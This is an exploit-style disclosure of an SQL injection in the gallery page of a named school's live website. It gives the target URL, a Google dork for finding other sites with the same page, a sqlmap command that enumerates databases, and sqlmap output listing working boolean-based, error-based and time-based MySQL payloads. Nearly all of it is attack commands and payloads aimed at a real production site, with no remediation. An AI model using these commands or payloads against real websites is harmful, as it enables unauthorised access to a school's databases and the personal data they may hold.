# Exploit Title: Delhi Jain School SQL Injection Vulnerability
# Author: Emyounoone
# Date: 13/04/2021
# Tested On: Kali Linux
# Contact: https://twitter.com/Emyounoone
# Google Dork: gallery.php?id=

----------------------------------------------------------------------------------------------------

# Vulnerable Path: https://www.delhijainschool.com/gallery.php?id=15

# python3 sqlmap.py https://www.delhijainschool.com/gallery.php?id=15 --dbs --random-agent 


---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: id=15 OR NOT 5109=5109#

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=15 AND GTID_SUBSET(CONCAT(0x716b6b6a71,(SELECT (ELT(7365=7365,1))),0x7162707871),7365)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=15 AND (SELECT 4418 FROM (SELECT(SLEEP(5)))kAlo)
---